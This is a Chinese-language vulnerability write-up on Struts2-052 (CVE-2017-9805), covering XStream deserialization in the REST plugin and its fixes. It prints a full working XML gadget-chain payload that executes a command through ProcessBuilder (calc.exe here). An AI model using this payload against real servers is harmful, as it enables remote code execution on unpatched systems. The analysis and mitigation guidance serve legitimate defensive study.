插件窝 干货文章 Struts2-052漏洞示例分析

Struts2-052漏洞示例分析

序列化 XStream class internal 723    来源:    2025-04-26

Struts2-052漏洞分析

漏洞概述

Struts2-052(CVE-2017-9805)是Apache Struts2框架中的一个远程代码执行漏洞,影响使用Struts REST插件的应用程序。该漏洞源于XStream库在处理XML请求时的不安全反序列化操作。

受影响版本

  • Struts 2.5 - Struts 2.5.12

漏洞原理

Struts2 REST插件使用XStream库来处理XML格式的请求数据。当应用程序配置为使用XStreamHandler时,攻击者可以构造恶意的XML请求,利用XStream的反序列化功能执行任意代码。

关键问题在于: 1. REST插件默认使用XStream进行XML反序列化 2. XStream没有对反序列化的类进行限制 3. 攻击者可以利用Java反序列化漏洞链执行代码

漏洞验证示例

以下是一个简单的漏洞验证示例:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc.exe</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

修复方案

  1. 官方补丁

    • 升级到Struts 2.5.13或更高版本
    • 补丁链接:https://struts.apache.org/download.cgi
  2. 临时缓解措施

    • 如果无法立即升级,可以限制XStream的反序列化类: java XStream xstream = new XStream(); xstream.allowTypesByWildcard(new String[] { "com.yourcompany.yourproject.**" });
    • 或者禁用XStreamHandler,改用其他格式如JSON
  3. 配置修改

    • 在struts.xml中限制可接受的Content-Type
    • 使用安全框架如Spring Security进行额外的请求过滤

防护建议

  1. 定期更新Struts2框架到最新版本
  2. 最小化应用程序的依赖,移除不必要的插件
  3. 实施输入验证和输出编码
  4. 使用Web应用防火墙(WAF)规则拦截可疑请求
  5. 在生产环境中禁用开发模式和调试信息

参考链接

  • Apache官方公告:https://cwiki.apache.org/confluence/display/WW/S2-052
  • NVD详情:https://nvd.nist.gov/vuln/detail/CVE-2017-9805
  • XStream安全公告:http://x-stream.github.io/security.html